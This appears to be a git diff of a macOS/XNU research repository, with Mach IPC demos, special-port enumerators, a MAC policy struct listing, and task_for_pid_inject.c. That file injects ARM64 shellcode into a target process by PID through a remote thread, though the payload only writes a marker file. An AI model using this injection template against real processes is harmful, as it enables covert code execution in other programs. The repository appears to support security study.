task_get_special_port(mach_task_self(),
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
&bootstrap_port);
|
||||
|
||||
// Step 2: Look up the service port using bootstrap server
|
||||
// This finds our server process using the registered name
|
||||
mach_port_t service_port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port,
|
||||
"com.crimson.message_service",
|
||||
&service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Service not found\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Step 3: Prepare the message structure
|
||||
// Initialize message structure to zero
|
||||
msg_t message = {0};
|
||||
|
||||
// Configure message header
|
||||
message.h.msgh_bits = MACH_MSGH_BITS_REMOTE(MACH_MSG_TYPE_COPY_SEND); // Set message type to copy-send
|
||||
message.h.msgh_size = sizeof(msg_t); // Total size of message struct
|
||||
message.h.msgh_remote_port = service_port; // Destination port
|
||||
message.h.msgh_local_port = MACH_PORT_NULL; // No reply port needed
|
||||
message.h.msgh_id = 0; // Message ID (unused in this case)
|
||||
|
||||
// Copy the user's message into data buffer
|
||||
// Using strncpy to prevent buffer overflow
|
||||
strncpy(message.d, argv[1], sizeof(message.d) - 1);
|
||||
message.d[sizeof(message.d) - 1] = '\0'; // Ensure null termination
|
||||
|
||||
// Step 4: Send the message
|
||||
kr = mach_msg(
|
||||
&message.h, // Message header pointer
|
||||
MACH_SEND_MSG, // Send-only operation
|
||||
sizeof(msg_t), // Size of entire message
|
||||
0, // Maximum receive size (unused for send)
|
||||
MACH_PORT_NULL, // Destination port (unused for send)
|
||||
MACH_MSG_TIMEOUT_NONE,// No timeout
|
||||
MACH_PORT_NULL // No notify port
|
||||
);
|
||||
|
||||
// Step 5: Check for errors and return status
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
55
X. NU/custom/mach_ipc/client_server_no_mig/server.c
Normal file
55
X. NU/custom/mach_ipc/client_server_no_mig/server.c
Normal file
@@ -0,0 +1,55 @@
|
||||
// server.c
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
// Step 1: Get the bootstrap port
|
||||
mach_port_t bootstrap_port;
|
||||
task_get_special_port(mach_task_self(),
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
&bootstrap_port);
|
||||
|
||||
// Step 2: Register our service with the bootstrap server
|
||||
// This allows clients to find us using the service name
|
||||
mach_port_t service_port;
|
||||
kern_return_t kr = bootstrap_check_in(bootstrap_port,
|
||||
"com.crimson.message_service",
|
||||
&service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to register service\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Server running...\n");
|
||||
|
||||
// Allocate buffer for receiving messages
|
||||
// Buffer must be large enough for header + maximum message size
|
||||
char buffer[2048];
|
||||
mach_msg_header_t *msg = (mach_msg_header_t*)buffer;
|
||||
|
||||
// Main message receive loop
|
||||
while (1) {
|
||||
// Receive message
|
||||
kr = mach_msg(
|
||||
msg, // Buffer to receive message
|
||||
MACH_RCV_MSG, // Receive-only operation
|
||||
0, // Send size (unused for receive)
|
||||
sizeof(buffer), // Maximum receive size
|
||||
service_port, // Port to receive on
|
||||
MACH_MSG_TIMEOUT_NONE, // No timeout
|
||||
MACH_PORT_NULL // No notify port
|
||||
);
|
||||
|
||||
// Process received message
|
||||
if (kr == KERN_SUCCESS) {
|
||||
// Message data follows immediately after header
|
||||
char *data = (char*)(msg + 1);
|
||||
printf("Received: %s\n", data);
|
||||
} else {
|
||||
printf("Error receiving message\n");
|
||||
}
|
||||
}
|
||||
|
||||
return 0; // Never reached in this example
|
||||
}
|
||||
100
X. NU/custom/mach_ipc/enum_special_port_rights_pid.c
Normal file
100
X. NU/custom/mach_ipc/enum_special_port_rights_pid.c
Normal file
@@ -0,0 +1,100 @@
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/task_special_ports.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
const char* get_special_port_name(int port_id) {
|
||||
switch (port_id) {
|
||||
case TASK_KERNEL_PORT:
|
||||
return "TASK_KERNEL_PORT";
|
||||
case TASK_HOST_PORT:
|
||||
return "TASK_HOST_PORT";
|
||||
case TASK_NAME_PORT:
|
||||
return "TASK_NAME_PORT";
|
||||
case TASK_BOOTSTRAP_PORT:
|
||||
return "TASK_BOOTSTRAP_PORT";
|
||||
case TASK_INSPECT_PORT:
|
||||
return "TASK_INSPECT_PORT";
|
||||
case TASK_READ_PORT:
|
||||
return "TASK_READ_PORT";
|
||||
case TASK_ACCESS_PORT:
|
||||
return "TASK_ACCESS_PORT";
|
||||
case TASK_DEBUG_CONTROL_PORT:
|
||||
return "TASK_DEBUG_CONTROL_PORT";
|
||||
case TASK_RESOURCE_NOTIFY_PORT:
|
||||
return "TASK_RESOURCE_NOTIFY_PORT";
|
||||
default:
|
||||
return "UNKNOWN_PORT";
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
task_t task;
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for pid %d: %s (0x%x)\n",
|
||||
pid, mach_error_string(kr), kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int special_ports[] = {
|
||||
TASK_KERNEL_PORT,
|
||||
TASK_HOST_PORT,
|
||||
TASK_NAME_PORT,
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
TASK_INSPECT_PORT,
|
||||
TASK_READ_PORT,
|
||||
TASK_ACCESS_PORT,
|
||||
TASK_DEBUG_CONTROL_PORT,
|
||||
TASK_RESOURCE_NOTIFY_PORT
|
||||
};
|
||||
|
||||
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
|
||||
|
||||
printf("Listing Special Ports for PID %d (1 to %d):\n", pid, TASK_MAX_SPECIAL_PORT);
|
||||
printf("================================\n");
|
||||
|
||||
for (int i = 0; i < num_ports; i++) {
|
||||
mach_port_t special_port;
|
||||
kr = task_get_special_port(task, special_ports[i], &special_port);
|
||||
|
||||
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
|
||||
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
|
||||
} else {
|
||||
printf(" Port number: 0x%x\n", special_port);
|
||||
|
||||
mach_port_type_t port_type;
|
||||
kr = mach_port_type(task, special_port, &port_type);
|
||||
if (kr == KERN_SUCCESS) {
|
||||
printf(" Rights: ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND)
|
||||
printf("SEND ");
|
||||
if (port_type & MACH_PORT_TYPE_RECEIVE)
|
||||
printf("RECEIVE ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
|
||||
printf("SEND_ONCE ");
|
||||
if (port_type & MACH_PORT_TYPE_PORT_SET)
|
||||
printf("PORT_SET ");
|
||||
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
|
||||
printf("DEAD_NAME ");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), task);
|
||||
return 0;
|
||||
}
|
||||
87
X. NU/custom/mach_ipc/enum_special_port_rights_self.c
Normal file
87
X. NU/custom/mach_ipc/enum_special_port_rights_self.c
Normal file
@@ -0,0 +1,87 @@
|
||||
// Ports from: https://github.com/apple-oss-distributions/xnu/blob/8d741a5de7ff4191bf97d57b9f54c2f6d4a15585/osfmk/mach/task_special_ports.h#L70-L98
|
||||
// clang -o enum_special_port_rights enum_special_port_rights.c
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/task_special_ports.h>
|
||||
#include <stdio.h>
|
||||
|
||||
const char* get_special_port_name(int port_id) {
|
||||
switch (port_id) {
|
||||
case TASK_KERNEL_PORT:
|
||||
return "TASK_KERNEL_PORT";
|
||||
case TASK_HOST_PORT:
|
||||
return "TASK_HOST_PORT";
|
||||
case TASK_NAME_PORT:
|
||||
return "TASK_NAME_PORT";
|
||||
case TASK_BOOTSTRAP_PORT:
|
||||
return "TASK_BOOTSTRAP_PORT";
|
||||
case TASK_INSPECT_PORT:
|
||||
return "TASK_INSPECT_PORT";
|
||||
case TASK_READ_PORT:
|
||||
return "TASK_READ_PORT";
|
||||
case TASK_ACCESS_PORT:
|
||||
return "TASK_ACCESS_PORT";
|
||||
case TASK_DEBUG_CONTROL_PORT:
|
||||
return "TASK_DEBUG_CONTROL_PORT";
|
||||
case TASK_RESOURCE_NOTIFY_PORT:
|
||||
return "TASK_RESOURCE_NOTIFY_PORT";
|
||||
default:
|
||||
return "UNKNOWN_PORT";
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
task_t task = mach_task_self();
|
||||
|
||||
int special_ports[] = {
|
||||
TASK_KERNEL_PORT,
|
||||
TASK_HOST_PORT,
|
||||
TASK_NAME_PORT,
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
TASK_INSPECT_PORT,
|
||||
TASK_READ_PORT,
|
||||
TASK_ACCESS_PORT,
|
||||
TASK_DEBUG_CONTROL_PORT,
|
||||
TASK_RESOURCE_NOTIFY_PORT
|
||||
};
|
||||
|
||||
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
|
||||
|
||||
printf("Listing All Special Ports (1 to %d):\n", TASK_MAX_SPECIAL_PORT);
|
||||
printf("================================\n");
|
||||
|
||||
for (int i = 0; i < num_ports; i++) {
|
||||
mach_port_t special_port;
|
||||
kern_return_t kr = task_get_special_port(task, special_ports[i], &special_port);
|
||||
|
||||
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
|
||||
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
|
||||
} else {
|
||||
printf(" Port number: 0x%x\n", special_port);
|
||||
|
||||
mach_port_type_t port_type;
|
||||
kr = mach_port_type(task, special_port, &port_type);
|
||||
if (kr == KERN_SUCCESS) {
|
||||
printf(" Rights: ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND)
|
||||
printf("SEND ");
|
||||
if (port_type & MACH_PORT_TYPE_RECEIVE)
|
||||
printf("RECEIVE ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
|
||||
printf("SEND_ONCE ");
|
||||
if (port_type & MACH_PORT_TYPE_PORT_SET)
|
||||
printf("PORT_SET ");
|
||||
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
|
||||
printf("DEAD_NAME ");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
63
X. NU/custom/mach_ipc/port_inspector.c
Normal file
63
X. NU/custom/mach_ipc/port_inspector.c
Normal file
@@ -0,0 +1,63 @@
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t target_pid = atoi(argv[1]);
|
||||
kern_return_t kr;
|
||||
mach_port_t task;
|
||||
|
||||
kr = task_for_pid(mach_task_self(), target_pid, &task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for pid %d: %s\n", target_pid, mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
ipc_info_name_array_t table_info;
|
||||
mach_msg_type_number_t table_infoCnt;
|
||||
ipc_info_tree_name_array_t tree_info;
|
||||
mach_msg_type_number_t tree_infoCnt;
|
||||
ipc_info_space_t space_info;
|
||||
|
||||
kr = mach_port_space_info(task, &space_info, &table_info, &table_infoCnt, &tree_info, &tree_infoCnt);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get port space info: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("IPC Space Info:\n");
|
||||
printf("Table size: %d, Next: %d, Active ports: %d\n\n",
|
||||
space_info.iis_table_size, space_info.iis_table_next, table_infoCnt);
|
||||
|
||||
printf("%-6s | %-6s | %-20s | %-4s | %-10s\n",
|
||||
"Index", "Name", "Rights", "Refs", "Generation");
|
||||
printf("-------------------------------------------------------------------\n");
|
||||
|
||||
for (int i = 0; i < table_infoCnt; i++) {
|
||||
char rights[32] = "";
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_RECEIVE) strcat(rights, "RECV ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND) strcat(rights, "SEND ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_SEND_ONCE) strcat(rights, "ONCE ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_PORT_SET) strcat(rights, "SET ");
|
||||
if (table_info[i].iin_type & MACH_PORT_TYPE_DEAD_NAME) strcat(rights, "DEAD ");
|
||||
if (rights[0] == '\0') strcpy(rights, "IO_NULL");
|
||||
|
||||
printf("%-6d | 0x%-4x | %-20s | %-4d | %-10d\n",
|
||||
i,
|
||||
table_info[i].iin_name,
|
||||
rights,
|
||||
table_info[i].iin_urefs,
|
||||
MACH_PORT_INDEX(table_info[i].iin_name) >> 24);
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), task);
|
||||
vm_deallocate(mach_task_self(), (vm_address_t)table_info, table_infoCnt * sizeof(*table_info));
|
||||
vm_deallocate(mach_task_self(), (vm_address_t)tree_info, tree_infoCnt * sizeof(*tree_info));
|
||||
return 0;
|
||||
}
|
||||
52
X. NU/custom/mach_ipc/service_lookup.c
Normal file
52
X. NU/custom/mach_ipc/service_lookup.c
Normal file
@@ -0,0 +1,52 @@
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <service_name>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
const char *service_name = argv[1];
|
||||
mach_port_t bootstrap_port, service_port;
|
||||
kern_return_t kr;
|
||||
|
||||
// Get the bootstrap port
|
||||
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get bootstrap port: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Look up the service
|
||||
kr = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Service '%s' not found: %s\n", service_name, mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Get port rights information
|
||||
mach_port_type_t type;
|
||||
kr = mach_port_type(mach_task_self(), service_port, &type);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get port type: %s\n", mach_error_string(kr));
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Service: %s\n", service_name);
|
||||
printf("Port: 0x%x\n", service_port);
|
||||
printf("Rights: ");
|
||||
if (type & MACH_PORT_TYPE_RECEIVE) printf("RECV ");
|
||||
if (type & MACH_PORT_TYPE_SEND) printf("SEND ");
|
||||
if (type & MACH_PORT_TYPE_SEND_ONCE) printf("ONCE ");
|
||||
if (type & MACH_PORT_TYPE_PORT_SET) printf("SET ");
|
||||
if (type & MACH_PORT_TYPE_DEAD_NAME) printf("DEAD ");
|
||||
printf("\n");
|
||||
|
||||
// Cleanup
|
||||
mach_port_deallocate(mach_task_self(), service_port);
|
||||
mach_port_deallocate(mach_task_self(), bootstrap_port);
|
||||
|
||||
return 0;
|
||||
}
|
||||
205
X. NU/custom/mach_ipc/task_for_pid_inject.c
Normal file
205
X. NU/custom/mach_ipc/task_for_pid_inject.c
Normal file
@@ -0,0 +1,205 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h> // Core Mach kernel interfaces
|
||||
#include <mach/mach_vm.h> // Virtual memory management
|
||||
#include <mach/arm/thread_status.h> // ARM64 thread state definitions
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
|
||||
/*
|
||||
* This is our shellcode that will run in the target process.
|
||||
* The __attribute__((naked)) tells the compiler not to add any function prologue/epilogue
|
||||
* code - we want complete control over the assembly.
|
||||
*
|
||||
* What this shellcode does:
|
||||
* 1. Creates a file at /tmp/research_success
|
||||
* 2. Writes "pwn" to it
|
||||
* 3. Exits cleanly
|
||||
*/
|
||||
__attribute__((naked)) void shellcode() {
|
||||
__asm__(
|
||||
// Set up our stack frame - allocate 32 bytes
|
||||
"sub sp, sp, #0x20\n"
|
||||
|
||||
// Open a file
|
||||
// The adr instruction loads the address of our filename relative to the current position
|
||||
"adr x0, 1f\n" // Load filename into x0 (first argument)
|
||||
"mov x1, #0x601\n" // Flags: O_CREAT|O_WRONLY|O_TRUNC
|
||||
"mov x2, #0666\n" // File permissions: rw-rw-rw-
|
||||
"mov x16, #5\n" // System call number for open()
|
||||
"svc #0x80\n" // Make the system call
|
||||
|
||||
// Write to the file
|
||||
"mov x19, x0\n" // Save file descriptor for later
|
||||
"adr x1, 2f\n" // Load address of content to write
|
||||
"mov x2, #4\n" // Length of content (including newline)
|
||||
"mov x16, #4\n" // System call number for write()
|
||||
"svc #0x80\n"
|
||||
|
||||
// Exit cleanly
|
||||
"mov x0, #0\n" // Exit code 0
|
||||
"mov x16, #1\n" // System call number for exit()
|
||||
"svc #0x80\n"
|
||||
|
||||
// Data section
|
||||
".align 4\n" // Align data to 4-byte boundary
|
||||
"1: .asciz \"/tmp/research_success\"\n" // Null-terminated filename
|
||||
"2: .asciz \"pwn\\n\"\n" // Content to write
|
||||
);
|
||||
}
|
||||
|
||||
/*
|
||||
* Validates that we have a working task port
|
||||
* A task port is like a "handle" to another process in macOS,
|
||||
* giving us permission to interact with it
|
||||
*/
|
||||
static boolean_t verify_task_port(mach_port_t task) {
|
||||
task_flavor_t flavor = TASK_BASIC_INFO;
|
||||
task_basic_info_data_t info;
|
||||
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
|
||||
|
||||
// Try to get basic info about the task - if this succeeds,
|
||||
// we know we have a valid task port
|
||||
kern_return_t kr = task_info(task, flavor, (task_info_t)&info, &count);
|
||||
return (kr == KERN_SUCCESS);
|
||||
}
|
||||
|
||||
/*
|
||||
* This function handles the memory operations needed to inject our code
|
||||
* into the target process. It:
|
||||
* 1. Allocates memory in the target process
|
||||
* 2. Copies our shellcode into that memory
|
||||
* 3. Sets the memory permissions so the code can execute
|
||||
*/
|
||||
kern_return_t map_memory(mach_port_t task, mach_vm_address_t *addr, void *data, size_t size) {
|
||||
kern_return_t kr;
|
||||
|
||||
// First, make sure our task port is valid
|
||||
if (!verify_task_port(task)) {
|
||||
printf("Invalid task port provided\n");
|
||||
return KERN_INVALID_TASK;
|
||||
}
|
||||
|
||||
// Memory pages must be page-aligned in macOS
|
||||
// This rounds up our allocation size to the next page boundary
|
||||
vm_size_t page_size = vm_page_size;
|
||||
size_t aligned_size = (size + page_size - 1) & ~(page_size - 1);
|
||||
|
||||
// Allocate memory in the target process
|
||||
// VM_FLAGS_ANYWHERE lets the kernel choose a suitable address
|
||||
kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Memory allocation failed: %d (0x%x)\n", kr, kr);
|
||||
printf("Attempted to allocate %zu bytes\n", aligned_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Copy our shellcode into the allocated memory
|
||||
kr = mach_vm_write(task, *addr, (vm_offset_t)data, size);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Memory write failed: %d (0x%x)\n", kr, kr);
|
||||
mach_vm_deallocate(task, *addr, aligned_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Set the memory permissions to allow execution
|
||||
// We need both read and execute permissions for the code to run
|
||||
kr = mach_vm_protect(task, *addr, aligned_size, FALSE,
|
||||
VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Memory protection change failed: %d (0x%x)\n", kr, kr);
|
||||
mach_vm_deallocate(task, *addr, aligned_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* This is the main injection function that orchestrates the whole process:
|
||||
* 1. Verifies we can work with the target process
|
||||
* 2. Maps our shellcode into it
|
||||
* 3. Creates a new thread to run our code
|
||||
*/
|
||||
kern_return_t inject_code(mach_port_t task) {
|
||||
kern_return_t kr;
|
||||
void *shellcode_ptr = (void*)shellcode;
|
||||
size_t shellcode_size = 256; // Space for our shellcode and any data it needs
|
||||
mach_vm_address_t remote_code = 0;
|
||||
|
||||
// Verify we can work with this task
|
||||
task_basic_info_data_t info;
|
||||
mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT;
|
||||
kr = task_info(task, TASK_BASIC_INFO, (task_info_t)&info, &count);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task info: %d (0x%x)\n", kr, kr);
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Copy our shellcode into the target process
|
||||
kr = map_memory(task, &remote_code, shellcode_ptr, shellcode_size);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
return kr;
|
||||
}
|
||||
|
||||
// Set up the initial register state for our new thread
|
||||
arm_thread_state64_t thread_state = {0};
|
||||
thread_state.__pc = remote_code; // Program counter - where to start executing
|
||||
thread_state.__sp = (remote_code + 0x1000) & ~0xFULL; // Stack pointer - aligned to 16 bytes
|
||||
thread_state.__x[29] = thread_state.__sp; // Frame pointer
|
||||
|
||||
// Create and start a new thread in the target process
|
||||
thread_act_t new_thread;
|
||||
kr = thread_create_running(task,
|
||||
ARM_THREAD_STATE64,
|
||||
(thread_state_t)&thread_state,
|
||||
ARM_THREAD_STATE64_COUNT,
|
||||
&new_thread);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Thread creation failed: %d (0x%x)\n", kr, kr);
|
||||
mach_vm_deallocate(task, remote_code, shellcode_size);
|
||||
return kr;
|
||||
}
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Main entry point - takes a process ID as argument
|
||||
* This is where we:
|
||||
* 1. Get access to the target process
|
||||
* 2. Inject and run our code in it
|
||||
* 3. Report success or failure
|
||||
*/
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t target_pid = atoi(argv[1]);
|
||||
|
||||
// Get a task port for the target process
|
||||
// This is our "handle" to interact with it
|
||||
mach_port_t task;
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for pid %d: %d (0x%x)\n", target_pid, kr, kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Successfully got task port: %d\n", task);
|
||||
|
||||
// Do the injection
|
||||
kr = inject_code(task);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Injection failed with error: %d (0x%x)\n", kr, kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Injection successful\n");
|
||||
printf("Check /tmp/research_success to verify execution\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
8
X. NU/custom/system_call_demo.c
Normal file
8
X. NU/custom/system_call_demo.c
Normal file
@@ -0,0 +1,8 @@
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
const char *message = "Hello, Kernelspace!\n";
|
||||
write(1, message, 20); // Direct system call to write to stdout
|
||||
return 0;
|
||||
}
|
||||
|
||||
BIN
X. NU/mac/XNU_exception_handling_map.png
Normal file
BIN
X. NU/mac/XNU_exception_handling_map.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 404 KiB |
337
X. NU/mac/mac_policy_ops
Normal file
337
X. NU/mac/mac_policy_ops
Normal file
@@ -0,0 +1,337 @@
|
||||
struct mac_policy_ops {
|
||||
void* mpo_audit_check_postselect;
|
||||
void* mpo_audit_check_preselect;
|
||||
void* mpo_reserved01;
|
||||
void* mpo_reserved02;
|
||||
void* mpo_reserved03;
|
||||
void* mpo_reserved04;
|
||||
void* mpo_cred_check_label_update_execve;
|
||||
void* mpo_cred_check_label_update;
|
||||
void* mpo_cred_check_visible;
|
||||
void* mpo_cred_label_associate_fork;
|
||||
void* mpo_cred_label_associate_kernel;
|
||||
void* mpo_cred_label_associate;
|
||||
void* mpo_cred_label_associate_user;
|
||||
void* mpo_cred_label_destroy;
|
||||
void* mpo_cred_label_externalize_audit;
|
||||
void* mpo_cred_label_externalize;
|
||||
void* mpo_cred_label_init;
|
||||
void* mpo_cred_label_internalize;
|
||||
void* mpo_cred_label_update_execve;
|
||||
void* mpo_cred_label_update;
|
||||
void* mpo_devfs_label_associate_device;
|
||||
void* mpo_devfs_label_associate_directory;
|
||||
void* mpo_devfs_label_copy;
|
||||
void* mpo_devfs_label_destroy;
|
||||
void* mpo_devfs_label_init;
|
||||
void* mpo_devfs_label_update;
|
||||
void* mpo_file_check_change_offset;
|
||||
void* mpo_file_check_create;
|
||||
void* mpo_file_check_dup;
|
||||
void* mpo_file_check_fcntl;
|
||||
void* mpo_file_check_get_offset;
|
||||
void* mpo_file_check_get;
|
||||
void* mpo_file_check_inherit;
|
||||
void* mpo_file_check_ioctl;
|
||||
void* mpo_file_check_lock;
|
||||
void* mpo_file_check_mmap_downgrade;
|
||||
void* mpo_file_check_mmap;
|
||||
void* mpo_file_check_receive;
|
||||
void* mpo_file_check_set;
|
||||
void* mpo_file_label_init; /* deprecated not called anymore */
|
||||
void* mpo_file_label_destroy; /* deprecated not called anymore */
|
||||
void* mpo_file_label_associate; /* deprecated not called anymore */
|
||||
void* mpo_file_notify_close;
|
||||
void* mpo_proc_check_launch_constraints;
|
||||
void* mpo_proc_notify_service_port_derive;
|
||||
void* mpo_proc_check_set_task_exception_port;
|
||||
void* mpo_proc_check_set_thread_exception_port;
|
||||
void* mpo_proc_check_delegated_signal;
|
||||
void* mpo_reserved08;
|
||||
void* mpo_reserved09;
|
||||
void* mpo_reserved10;
|
||||
void* mpo_reserved11;
|
||||
void* mpo_reserved12;
|
||||
void* mpo_reserved13;
|
||||
void* mpo_reserved14;
|
||||
void* mpo_reserved15;
|
||||
void* mpo_reserved16;
|
||||
void* mpo_reserved17;
|
||||
void* mpo_reserved18;
|
||||
void* mpo_reserved19;
|
||||
void* mpo_reserved20;
|
||||
void* mpo_reserved21;
|
||||
void* mpo_necp_check_open;
|
||||
void* mpo_necp_check_client_action;
|
||||
void* mpo_file_check_library_validation;
|
||||
void* mpo_vnode_notify_setacl;
|
||||
void* mpo_vnode_notify_setattrlist;
|
||||
void* mpo_vnode_notify_setextattr;
|
||||
void* mpo_vnode_notify_setflags;
|
||||
void* mpo_vnode_notify_setmode;
|
||||
void* mpo_vnode_notify_setowner;
|
||||
void* mpo_vnode_notify_setutimes;
|
||||
void* mpo_vnode_notify_truncate;
|
||||
void* mpo_vnode_check_getattrlistbulk;
|
||||
void* mpo_proc_check_get_task_special_port;
|
||||
void* mpo_proc_check_set_task_special_port;
|
||||
void* mpo_vnode_notify_swap;
|
||||
void* mpo_vnode_notify_unlink;
|
||||
void* mpo_vnode_check_swap;
|
||||
void* mpo_reserved33;
|
||||
void* mpo_reserved34;
|
||||
void* mpo_reserved35;
|
||||
void* mpo_vnode_check_copyfile;
|
||||
void* mpo_mount_check_quotactl;
|
||||
void* mpo_mount_check_fsctl;
|
||||
void* mpo_mount_check_getattr;
|
||||
void* mpo_mount_check_label_update;
|
||||
void* mpo_mount_check_mount;
|
||||
void* mpo_mount_check_remount;
|
||||
void* mpo_mount_check_setattr;
|
||||
void* mpo_mount_check_stat;
|
||||
void* mpo_mount_check_umount;
|
||||
void* mpo_mount_label_associate;
|
||||
void* mpo_mount_label_destroy;
|
||||
void* mpo_mount_label_externalize;
|
||||
void* mpo_mount_label_init;
|
||||
void* mpo_mount_label_internalize;
|
||||
void* mpo_proc_check_expose_task_with_flavor;
|
||||
void* mpo_proc_check_get_task_with_flavor;
|
||||
void* mpo_proc_check_task_id_token_get_task;
|
||||
void* mpo_pipe_check_ioctl;
|
||||
void* mpo_pipe_check_kqfilter;
|
||||
void* mpo_reserved41;
|
||||
void* mpo_pipe_check_read;
|
||||
void* mpo_pipe_check_select;
|
||||
void* mpo_pipe_check_stat;
|
||||
void* mpo_pipe_check_write;
|
||||
void* mpo_pipe_label_associate;
|
||||
void* mpo_reserved42;
|
||||
void* mpo_pipe_label_destroy;
|
||||
void* mpo_reserved43;
|
||||
void* mpo_pipe_label_init;
|
||||
void* mpo_reserved44;
|
||||
void* mpo_proc_check_syscall_mac;
|
||||
void* mpo_policy_destroy;
|
||||
void* mpo_policy_init;
|
||||
